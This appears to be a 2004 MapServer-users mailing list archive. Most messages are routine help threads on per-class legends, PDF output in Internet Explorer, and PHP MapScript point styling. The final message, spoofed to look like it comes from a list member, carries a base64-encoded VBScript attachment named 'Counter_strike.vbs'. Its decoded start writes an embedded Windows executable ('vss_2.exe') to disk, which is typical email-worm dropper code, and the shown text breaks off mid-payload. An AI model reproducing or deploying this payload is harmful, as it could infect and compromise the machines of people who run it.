reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C452B7.06D34B60 Content-Type: text/plain Richard, Have a look at http://mapserver.gis.umn.edu/doc/html-legend-howto.html You can use the attached template to create a legend that will display classes with their names. Regards, Jacob -----Original Message----- From: Richard Orchard [mailto:richard.orchard at ermapper.com.au] Sent: Tuesday, 15 June 2004 4:42 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Building a legend - with class objects in layers hi, I am using mapserver to display some geology datasets. A particular layer has multiple classes in order to show the various features (different rock types). The features are color-coded, therefore, i need each feature (class) to display in the legend. However, when the legend is generated, it just creates one item, based on the layer name. it doesn't iterate through the various class objects. Is this the way it is supposed to work? Or is there a way to get it to create a legend item for each class item within a layer. At present i am creating new layer objects for each item i want to display. I have put the map file i am using at the bottom of this email. Thanks in advance, Richard ---- mapfile MAP NAME "Australia - General Information" STATUS ON EXTENT 109.337 -44.387 158.742 -8.8081 SIZE 400 300 SHAPEPATH "D:\webs\www3\gis_data\australia" SYMBOLSET "D:\webs\www3\mapserver\etc\symbols.sym" FONTSET "D:\webs\www3\mapserver\etc\fonts.txt" IMAGETYPE PNG IMAGECOLOR 255 255 255 UNITS DD # # Start of web interface definition # WEB MINSCALE 2e+06 MAXSCALE 5e+07 # # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root # of the drive where the .MAP file resides. # IMAGEPATH "D:/webs/www3/temp/" IMAGEURL "/temp/" END # # # Start of querymap object # QUERYMAP STATUS OFF SIZE -1 -1 COLOR 255 0 0 STYLE HILITE END # # Start of legend object # LEGEND STATUS ON IMAGECOLOR 255 255 255 POSITION LL KEYSIZE 18 12 KEYSPACING 5 5 TEMPLATE "ttt" LABEL TYPE BITMAP SIZE MEDIUM OFFSET 0 0 BUFFER 0 MINDISTANCE -1 MINFEATURESIZE -1 COLOR 0 0 89 PARTIALS TRUE FORCE FALSE END END # # Start of scalebar object # SCALEBAR STATUS ON COLOR 255 255 255 OUTLINECOLOR 0 0 0 BACKGROUNDCOLOR 0 0 0 IMAGECOLOR 255 255 255 UNITS KILOMETERS INTERVALS 5 SIZE 150 5 STYLE 0 POSITION LL LABEL TYPE BITMAP SIZE SMALL OFFSET 0 0 BUFFER 0 MINDISTANCE -1 MINFEATURESIZE -1 COLOR 0 0 0 PARTIALS TRUE FORCE FALSE END END # # Start of OutputFormat object # OUTPUTFORMAT NAME "png" MIMETYPE "image/png" DRIVER "GD/PNG" EXTENSION "png" IMAGEMODE PC256 TRANSPARENT FALSE END # # Start of layer definitions # LAYER NAME "Roads" STATUS ON DATA "./roads/roads" TYPE LINE UNITS METERS SIZEUNITS PIXELS METADATA "Description" "Test" END CLASS NAME "Roads" STYLE SYMBOL 0 COLOR 220 0 0 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Earth Quake Risk 0.05 - 0.10" STATUS ON DATA "./earthQuakeHazard/eqriskdd" TYPE POLYGON UNITS KILOMETERS SIZEUNITS PIXELS METADATA "Description" "Earth Quake" END CLASS NAME "RISKVAL2" EXPRESSION ('[RISKVAL]' eq '0.05 - 0.10') LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 10 POSITION LL OFFSET 0 0 END STYLE SYMBOL 0 COLOR 255 150 123 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Earth Quake Risk < 0.05" STATUS ON DATA "./earthQuakeHazard/eqriskdd" TYPE POLYGON UNITS KILOMETERS SIZEUNITS PIXELS METADATA "Description" "Earth Quake" END CLASS NAME "RISKVAL2" EXPRESSION ('[RISKVAL]' eq '< 0.05') LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 10 POSITION LL OFFSET 0 0 END STYLE SYMBOL 0 COLOR 255 255 181 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Earth Quake Risk > 0.10" STATUS ON DATA "./earthQuakeHazard/eqriskdd" TYPE POLYGON UNITS KILOMETERS SIZEUNITS PIXELS METADATA "Description" "Earth Quake" END CLASS NAME "RISKVAL2" EXPRESSION ('[RISKVAL]' eq '> 0.10') LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 10 POSITION LL OFFSET 0 0 END STYLE SYMBOL 0 COLOR 247 81 148 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END # Layer END This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.. www.ermapper.com www.earthetc.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users ------_=_NextPart_000_01C452B7.06D34B60 Content-Type: text/html; name="printlegend.html" Content-Disposition: attachment; filename="printlegend.html" [leg_class_html] [leg_class_name]
[/leg_class_html] ------_=_NextPart_000_01C452B7.06D34B60-- From Antti.Roppola at brs.gov.au Tue Jun 15 01:38:24 2004 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Tue, 15 Jun 2004 18:38:24 +1000 Subject: [Mapserver-users] Pdf output shows junk on the browser? Message-ID: <3E4215C93D3CE24D84A9FF385DF88D8702A0876D@afeb-ms-02> Hi Mahalakshmi, What you are seeing appears to be a PDF file. Some things to try: - Save it to a file and try opening the file with Acrobat (to confirm that it is a valid PDF) Yes, to answer your question, you can save the generated PDF as a file, I do it by calling Mapserver as a system call and capturing the output to a file. - Grab the saved file and echo it as a download: I just tested this using IE 6.0 and Mozilla 1.x, while Mozilla recognises the stream as a PDF and asks me if I want to open it in xpdf or to save the file, IE just echoes the contents of the PDF (as shown in your email) - Save the created PDF to the web-server and send the user a URL to click on. I tried this, and IE handles that OK. Aka, it seems to be something broken about how IE recognises PDFs in general. A quick look arounf IE doesn't reveal anything like the "helper applications" in Mozilla that lets you see how incoming mime-types are handled. Cheers, Antti -----Original Message----- From: Mahalakshmi Narayanan [mailto:mhln25 at yahoo.com] Sent: Tuesday, 15 June 2004 2:54 PM To: Antti.Roppola at brs.gov.au; EZS at DeStraat.NL; mapserver-users at lists.gis.umn.edu Subject: RE: [Mapserver-users] Pdf output shows junk on the browser? Thanks for the reply.. However, my problem is still unresolved.. The junk starts with ... ------------------ %PDF-1.3 %???? 5 0 obj <> stream xoe3T0BC 650PH??2 ?B( ?)"?H!?^?5" ?!pendstream endobj 6 0 obj 40 endobj 7 0 obj <>] /Length 8 0 R >> stream ????JFIF??;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 95 ??C     ??C  ????"?? ???}!1AQa"q2?'?#B??R??$3br' %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzf"...??^?S'""*--~(tm)s?????????????????????????????????????????????????????????? ???w!1AQaq"2?B'??? #3R?br? $4?%?&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz'f"...??^?S'""*--~(tm)s? ------------- I visited all sites suggested by Emil Zegers, but not still solved.. I have windows xp with acrobat reader 6 installed. My ie settings seem to be ok 'cos I am able to open other pdf documents.. I don't know how to save as pdf document using map file itself (from command prompt) then try to open it.. is it possible to do that? Thanks again.. With kind regards, Mahalakshmi Narayanan --- Antti.Roppola at brs.gov.au wrote: > What sort of junk? > > If it looks like this, you are getting a PDF file, > but it is not > being recognised by the end-user as one: > > %PDF-1.3 > %???? > 5 0 obj > < /Filter/FlateDecode > >> > stream > > x~\~D?I?$I?$?~OS?^K?~S???~I?^Fu^B?Em?6??~K^F3C??????S~?~@???~H~Q^A?~_ > > > I have noticed that the PDF output file includes a > MIME header > in the first couple of lines. Depending on how you > are generating > and sending the file, this might be a problem. If > so, try open the > PDF file and delete everything before "%PDF-" before > sending it to > the browser. Also try opening the file from your PDF > reader. Aka, > the first thing to do is confirm that a valid PDF > file is being created. > > Cheers, > > Antti > > -----Original Message----- > From: Emil Zegers [mailto:EZS at DeStraat.NL] > Sent: Friday, 11 June 2004 5:38 PM > To: mapserver-users at lists.gis.umn.edu; > mhln25 at yahoo.com > Subject: Re: [Mapserver-users] Pdf output shows junk > on the browser? > > > Hello > > If your PDF configuration in the map file is correct > and you do have installed Adobe Acrobat and/or > Reader, the problem might be caused by some browser > related issues. > > Especially recent IE versions have trouble > displaying server side (created) PDF's properly. > > Take a look at the following links for more info: > > http://www.adobe.com/support/techdocs/29776.htm > > http://forum.planetpdf.com/wb/default.asp?action=9&fid=6&read=41191 > > http://www.bnl.gov/itd/webapps/pdf_help.asp > > > Groeten, > > Emil Zegers > > De Straat Milieu-adviseurs > Divisie Informatisering > 026 7513902 > 06 22965585 > http://www.destraat.nl > > >>> Mahalakshmi Narayanan > 06/11/04 08:09 AM >>> > Hi! > > I tried to output my map as a pdf but I get junk > thrown to me when I include the following > outputformat > tag.. > ------------------- > OUTPUTFORMAT > NAME pdf > MIMETYPE "application/x-pdf" > DRIVER pdf > # FORMATOPTION "OUTPUT_TYPE=RASTER" > EXTENSION "pdf" > END > ------------------- > I am running windows xp with > -------------- > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG > OUTPUT=JPEG OUTPUT=WBMP OUTPUT=PDF > OUTPUT=SWF SUPPORTS=PROJ SUPPORTS=FREETYPE > SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLI > ENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=EPPL7 INPUT=POSTGIS INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > ------------------ > > do i need anything else to be installed on my box to > get pdf output? > > can somebody help me, pls. > > With regards, > Mahalakshmi Narayanan > > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > __________ > VChecked > > > ______________________________________________________ > > This message has been checked for all known viruses > ______________________________________________________ > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From norbert.thieme at ilmenau.baw.de Tue Jun 15 02:34:25 2004 From: norbert.thieme at ilmenau.baw.de (Norbert Thieme) Date: Tue, 15 Jun 2004 11:34:25 +0200 Subject: [Mapserver-users] Building a legend - with class objects in layers In-Reply-To: References: Message-ID: <40CEC2A1.6000808@ilmenau.baw.de> Richard Orchard schrieb: > hi, > > I am using mapserver to display some geology datasets. > > A particular layer has multiple classes in order to show the various > features (different rock types). The features are color-coded, therefore, i > need each feature (class) to display in the legend. > > However, when the legend is generated, it just creates one item, based on > the layer name. it doesn't iterate through the various class objects. > > Is this the way it is supposed to work? Or is there a way to get it to > create a legend item for each class item within a layer. At present i am > creating new layer objects for each item i want to display. I have put the > map file i am using at the bottom of this email. > > Thanks in advance, > > > Richard > > > > > ---- mapfile > > > MAP > NAME "Australia - General Information" > STATUS ON > EXTENT 109.337 -44.387 158.742 -8.8081 > SIZE 400 300 > SHAPEPATH "D:\webs\www3\gis_data\australia" > SYMBOLSET "D:\webs\www3\mapserver\etc\symbols.sym" > FONTSET "D:\webs\www3\mapserver\etc\fonts.txt" > IMAGETYPE PNG > IMAGECOLOR 255 255 255 > UNITS DD > # > # Start of web interface definition > # > WEB > MINSCALE 2e+06 > MAXSCALE 5e+07 > # > # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the > root > # of the drive where the .MAP file resides. > # > IMAGEPATH "D:/webs/www3/temp/" > IMAGEURL "/temp/" > END > # > # > # Start of querymap object > # > QUERYMAP > STATUS OFF > SIZE -1 -1 > COLOR 255 0 0 > STYLE HILITE > END > # > # Start of legend object > # > LEGEND > STATUS ON > IMAGECOLOR 255 255 255 > POSITION LL > KEYSIZE 18 12 > KEYSPACING 5 5 > TEMPLATE "ttt" > LABEL > TYPE BITMAP > SIZE MEDIUM > OFFSET 0 0 > BUFFER 0 > MINDISTANCE -1 > MINFEATURESIZE -1 > COLOR 0 0 89 > PARTIALS TRUE > FORCE FALSE > END > END > # > # Start of scalebar object > # > SCALEBAR > STATUS ON > COLOR 255 255 255 > OUTLINECOLOR 0 0 0 > BACKGROUNDCOLOR 0 0 0 > IMAGECOLOR 255 255 255 > UNITS KILOMETERS > INTERVALS 5 > SIZE 150 5 > STYLE 0 > POSITION LL > LABEL > TYPE BITMAP > SIZE SMALL > OFFSET 0 0 > BUFFER 0 > MINDISTANCE -1 > MINFEATURESIZE -1 > COLOR 0 0 0 > PARTIALS TRUE > FORCE FALSE > END > END > # > # Start of OutputFormat object > # > OUTPUTFORMAT > NAME "png" > MIMETYPE "image/png" > DRIVER "GD/PNG" > EXTENSION "png" > IMAGEMODE PC256 > TRANSPARENT FALSE > END > # > # Start of layer definitions > # > LAYER > NAME "Roads" > STATUS ON > DATA "./roads/roads" > TYPE LINE > UNITS METERS > SIZEUNITS PIXELS > METADATA > "Description" "Test" > END > CLASS > NAME "Roads" > STYLE > SYMBOL 0 > COLOR 220 0 0 > SIZE 1 > MINSIZE 1 > MAXSIZE 100 > END > END > END > > LAYER > NAME "Earth Quake Risk 0.05 - 0.10" > STATUS ON > DATA "./earthQuakeHazard/eqriskdd" > TYPE POLYGON > UNITS KILOMETERS > SIZEUNITS PIXELS > METADATA > "Description" "Earth Quake" > END > CLASS > NAME "RISKVAL2" > EXPRESSION ('[RISKVAL]' eq '0.05 - 0.10') > LABEL > TYPE TRUETYPE > FONT "fritqat-bold" > SIZE 10 > POSITION LL > OFFSET 0 0 > END > STYLE > SYMBOL 0 > COLOR 255 150 123 > SIZE 1 > MINSIZE 1 > MAXSIZE 100 > END > END > > END > > > LAYER > NAME "Earth Quake Risk < 0.05" > STATUS ON > DATA "./earthQuakeHazard/eqriskdd" > TYPE POLYGON > UNITS KILOMETERS > SIZEUNITS PIXELS > METADATA > "Description" "Earth Quake" > END > CLASS > NAME "RISKVAL2" > EXPRESSION ('[RISKVAL]' eq '< 0.05') > LABEL > TYPE TRUETYPE > FONT "fritqat-bold" > SIZE 10 > POSITION LL > OFFSET 0 0 > END > STYLE > SYMBOL 0 > COLOR 255 255 181 > SIZE 1 > MINSIZE 1 > MAXSIZE 100 > END > END > END > > LAYER > NAME "Earth Quake Risk > 0.10" > STATUS ON > DATA "./earthQuakeHazard/eqriskdd" > TYPE POLYGON > UNITS KILOMETERS > SIZEUNITS PIXELS > METADATA > "Description" "Earth Quake" > END > CLASS > NAME "RISKVAL2" > EXPRESSION ('[RISKVAL]' eq '> 0.10') > LABEL > TYPE TRUETYPE > FONT "fritqat-bold" > SIZE 10 > POSITION LL > OFFSET 0 0 > END > STYLE > SYMBOL 0 > COLOR 247 81 148 > SIZE 1 > MINSIZE 1 > MAXSIZE 100 > END > END > END > > > > # Layer > END > > > > > This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.. > > www.ermapper.com > www.earthetc.com > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Hi! The layerobject->numclasses gives you the count of classes. With this you can loop through and use layer->getClass(int classIndex) to get each class and draw the legendicons. Regards, Norbert From sebastien.dubois at esm2.imt-mrs.fr Tue Jun 15 00:28:21 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Tue, 15 Jun 2004 09:28:21 +0200 Subject: [Mapserver-users] point shape layer style and dynamic point data query Message-ID: <1087284501.40cea51546946@webmail.esm2.imt-mrs.fr> well i try to display a shape file put in a database postgresql with shp2pgsql..... i suceed in, but i don't understand how to change the style of the output. yet the points of my database layer can be displayed by their position in text POINT (X,Y) with $label->set("position",MS_CC); But if i don't put this line my points are only dispayed by one pixel. i can't change the size or put a symbol like a star!! this is one part of the code i use ------------------------- $map = ms_newMapObj($Nom_Mapfile); $map->setextent($xmin,$ymin,$xmax,$ymax); $map->web->set("imagepath",$mapserver_imagepath); $map->web->set("imageurl",$mapserver_imageurl); $map->set("width",$longueur_image_mapfile); $map->set("height",$hauteur_image_mapfile); $layer = ms_newLayerObj($map); $layer->set("name",$base_de_donnees); $layer->set("status",MS_DEFAULT); $layer->set("connectiontype",MS_POSTGIS); $layer->set("connection","user=".$utilisateur." dbname=".$base_de_donnees." host=".$hote); $layer->set("data",$colonne_geometrique." from ".$table_choisie." as foo using unique geometry_columns.srid using SRID=-1"); $layer->set("type",$type_donnee_geometrique_pour_mapserver); $layer->set("labelitem",$mapserver_labelitem); $class = ms_newClassObj($layer); $label = $class->label; $label->set("position",MS_CC); $label->color->setRGB(0,0,0); $label->outlinecolor->setRGB(255,0,0); $label->shadowcolor->setRGB(255,255,255); $label->backgroundcolor->setRGB(0,0,255); $label->backgroundshadowcolor->setRGB(255,255,255); $style = ms_newStyleObj($class); $style->set("size",4); $style->outlinecolor->setRGB(128,0,0); $image = $map->draw(); $image_url = $image->saveWebImage(MS_PNG,1,1,0); ---------------------- I try also to put a symbol in my .map and define the layer as i used to without phpmapscript but i doesn't work. Is there someone who can explain me how to proceed. how create $symbole in phpmapscript. Perhaps i need to create a point object?? thanks in advance OTHER QUESTION is there someone here who suceed in writing a dynamic point data query in phpmapscript? i saw old post but no example of drawing a box without jbox and change the color of the point selected and then display the attributes of the selected points.... -- S?bastien DUBOIS 1024D/A1140BCB:1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From sebastien.dubois at esm2.imt-mrs.fr Mon Jun 14 04:49:10 2004 From: sebastien.dubois at esm2.imt-mrs.fr (=?iso-8859-1?b?U+liYXN0aWVu?= DUBOIS) Date: Mon, 14 Jun 2004 13:49:10 +0200 Subject: [Mapserver-users] point shape layer style and dynamic point data query Message-ID: <1087213750.40cd90b6ef233@webmail.esm2.imt-mrs.fr> well i try to display a shape file put in a database postgresql with phpmapscript i suceed in but i don't understand how to change the style of the output. yet the points of my database layer can be displayed by their position POINT (X,Y) with $label->set("position",MS_CC); But if i don(t put this line my points are only dispayed by one pixel. i can't change the size!! this is one part of the code i use ------------------------- $map = ms_newMapObj($Nom_Mapfile); $map->setextent($xmin,$ymin,$xmax,$ymax); $map->web->set("imagepath",$mapserver_imagepath); $map->web->set("imageurl",$mapserver_imageurl); $map->set("width",$longueur_image_mapfile); $map->set("height",$hauteur_image_mapfile); $layer = ms_newLayerObj($map); $layer->set("name",$base_de_donnees); $layer->set("status",MS_DEFAULT); $layer->set("connectiontype",MS_POSTGIS); $layer->set("connection","user=".$utilisateur." dbname=".$base_de_donnees." host=".$hote); $layer->set("data",$colonne_geometrique." from ".$table_choisie." as foo using unique geometry_columns.srid using SRID=-1"); $layer->set("type",$type_donnee_geometrique_pour_mapserver); $layer->set("labelitem",$mapserver_labelitem); $class = ms_newClassObj($layer); $label = $class->label; $label->set("position",MS_CC); $label->color->setRGB(0,0,0); $label->outlinecolor->setRGB(255,0,0); $label->shadowcolor->setRGB(255,255,255); $label->backgroundcolor->setRGB(0,0,255); $label->backgroundshadowcolor->setRGB(255,255,255); $style = ms_newStyleObj($class); $style->set("size",4); $style->outlinecolor->setRGB(128,0,0); $image = $map->draw(); $image_url = $image->saveWebImage(MS_PNG,1,1,0); ---------------------- I try to put a symbol in my .map and define the layer as i used to without phpmapscript but i doesn't work. Is there someone who can explain me how to proceed. how create $symbole in phpmapscript. Perhaps i need to create a point object?? thanks in advance other question is there someone here who suceed in writing a dynamic point data query in phpmapscript? -- S?bastien DUBOIS Ecole G?n?raliste d'Ing?nieurs de Marseille (ex ESM2) 1024D/A1140BCB Empreinte de la cl? = 1BC8 7E21 4DA7 13D5 1B5F 876F F719 2B7A A114 0BCB disponible sur www.keyserver.net ------------------------------------------------- This mail sent through IMP: http://horde.org/imp/ From steve.lime at dnr.state.mn.us Tue Jun 15 05:15:39 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Tue, 15 Jun 2004 06:15:39 -0600 Subject: [Mapserver-users] RE: Protected message Message-ID: ----------ixkeuoehfkanuhoiudpi Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------ixkeuoehfkanuhoiudpi Content-Type: application/octet-stream; name="Counter_strike.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Counter_strike.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0 LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3 MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx NCwxMTUsMTE0LDk5LDAsMCwwLDAsMTYsMCwwLDAsMjQwLDAsMCwwLDYsMCwwLDAsNzIsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwxOTIsNDksNDYsNTAsNTIsMCw4NSw4 MCw4OCwzMywxMiw5LDIsOCwxOTEsMzksNjEsOTUsMjE4LDIwOCwxMTEsMTU4LDE5OSwxOTks MCwwLDIwMSw2NiwwLDAsMCwxNDYsMCwwLDM4LDAsMCwyMDQsMjU1LDI1NSwyNTUsMTU1LDI1 MCwyMDEsNTgsMTEzLDQyLDQzLDI0LDE0NCwyNDMsMTYzLDQzLDE2LDEzNywyNTIsMTIzLDgs MjE4LDEyMSw2NiwyMywyNCwxNCwxMTUsMjM4LDEyNyw5NCw4MiwxOTEsMjUzLDI1NSwyNTUs MTg2LDI1MCw0LDU4LDE0MywyNCw1NywxNzUsMTEzLDIyLDE3MiwxMTMsMTkxLDI0MiwxMTMs MTQzLDI0NiwxMTMsMTgzLDIzNCwyNSwyMjYsNDUsNTksMTYsMjQyLDIwMCwyNTIsMjIwLDI1 NSwxNzcsMjIxLDIyMyw1LDU5LDExMywyNTQsMzgsMjAxLDU2LDE4OCwyNCwxOCwxNjQsNTEs NTYsMjQ2LDI1MCw0MywxMDcsMjM3LDE4MywyMzksNDIsMTMsNDIsNSwxNDMsMjM0LDIsMjQ2 LDE3MCwxOCw1OCw1LDAsMTMsMjUsMTI3LDI1MSwyNDYsNywxMjEsNjIsMTQsMTQ2LDI1MCwy MTgsNTMsMTQ0LDI1MCwxOCw5Nyw1MiwyNTAsMTE1LDE5MSw2LDYxLDE5MSwyNTUsMTkwLDE5 NywxOTAsMTQsMTMwLDE0NCwxLDQ4LDI0MiwxOCw0NSwxODYsMTMsMTE5LDE5MSwyLDE3MCwy NTUsMTU1LDE3NSwxMjMsNDEsMTgsNiwyMSw4MywxMjEsMTM1LDIsMjUwLDE0MywyNDgsMTcs MjMzLDUsMTQzLDExOSwxMTEsMjM4LDE0NSwyLDE0LDE4LDEwNiw5MSw2NywxNCwxNyw1Mywx NSwxOCwxNzAsMTg2LDIxOSw1NCwxMTUsOTYsNzAsMTA2LDEzNSwxNCwxMTksMjU0LDEwNiwx ODMsMjQ2LDIyMCwxMDIsMjI2LDg5LDkwLDE2NSwyMDAsMjM2LDcxLDI0MiwyNDgsMTgzLDIx NywyMjIsMjIzLDEzNywyNTQsMjUsMTQ0LDI1NCwxNDYsMjIsMTY0LDE4OSw1LDI1NSwxMSwx ODksMjM3LDE5MywxODIsMTcwLDIwMyw3LDIwMSw0MCwxMyw3MSwxMDQsMzgsMjM4LDI0Niwx NzMsMjIwLDUzLDE3Myw2LDExMywyNTIsMjQ2LDU5LDE5LDI0OCw2NCw5LDgxLDksMjM5LDYy LDE3OCwyNTMsMTIxLDI3LDI0OSw5LDgwLDE2NSwzMCwyNDIsMTY5LDExMywxNjcsMjQ2LDMz LDE0NCwyMjQsMTgsOTksMjQyLDE0OCwyNTMsMTE5LDczLDEyMSw1OCwxNTUsNiw4MCwxNzcs MTQzLDExLDE2MSwzMSwyNDAsMTgsMTMxLDEyMywyMzEsMjIsNTAsMjAyLDE3NywxODQsMjUx LDE4LDc0LDE5NywxNjksMjAyLDE3MywxMTcsMTI3LDI0MSw1OCwxNDIsMjQ0LDE3MCwxNDQs MTQ4LDM3LDEyLDE4Nyw0MCwxOTYsMTI3LDIyLDE4NiwxOTMsMTMxLDE3Miw2OSwxNDMsMTMy LDEzNSwyMDEsMzMsMjUsMTc0LDE5NSwxNTEsMjM3LDI1NSw4Niw1OSwyNiwyMzQsMTIxLDMs MjUxLDE0MiwyNDEsODYsMTU2LDksMjQyLDI0OCwxNDIsMjUxLDg2LDE1NCw3LDEyMSwxMjMs MTIwLDE4LDIzMiwxOCwxOTksMTUyLDU2LDksMjQ2LDE4LDIwMSwyNTIsMTgsMTExLDIzNywy MjEsMTQ1LDIxMSwxOCwyMTYsNiwxODUsMTIxLDEsMjMyLDcyLDY2LDE1Niw2NiwyNDcsOCwx NzMsMjUzLDI1NSwyNDAsMTU2LDgxLDEyMSwxOSwyNDksMTMxLDcyLDEzLDM1LDIwOSwzLDc0 LDE5OSwyMDgsMTQ1LDE5NiwyNTUsMjU1LDI1NSwyNTUsMTIxLDI2LDE5NywxOTgsMTk2LDEz NywyMzIsMTk4LDIwNiwxMzcsMjQwLDI1NCwxODcsMTk4LDE2MSwxMzYsMjQ1LDI1NCwyNTIs MTcsMjQxLDI1NCw2LDE3LDI1MywyMTQsMTk2LDU4LDI2LDI0OCwyNTQsMjM1LDMwLDIxOCwx OTUsMjA5LDgwLDczLDE2OSwxNDQsMTA1LDM2LDE2MSwxMjcsMTc5LDEyNSw2NywxMzUsMTIz LDIwMSwxMTMsMzQsMjI0LDM0LDYsOTcsNTEsNSw4LDg0LDEyMiwyMjMsMjQ2LDEyMywxODcs MTkwLDE0MiwyMjcsMTc4LDE4LDExNiwxOTYsMjExLDE0MywyNTMsODksMTYxLDIzNywxMTUs MTU3LDQ5LDExNSwyNTUsMjUyLDEyMSw2MCwyNTQsMTcsMzIsNjYsMjUxLDEzNiwxOCwyNCw2 LDExOCwxMzMsMTU5LDIxOSwyMjIsMTQ2LDI0OCwyMSw4MywxMTIsNCwzNiw3NywxODksMTg5 LDQ2LDI0NiwxMTksMjMsMTMyLDY3LDI1MCwxOSwxMTQsMjM4LDE5Miw0LDU2LDI0LDMsMTgs OTgsMjE0LDI0OCwxMDksMjI3LDYwLDE5MSw0LDExMyw1MSwxOTIsMTEyLDI1NCwxOTMsMTE0 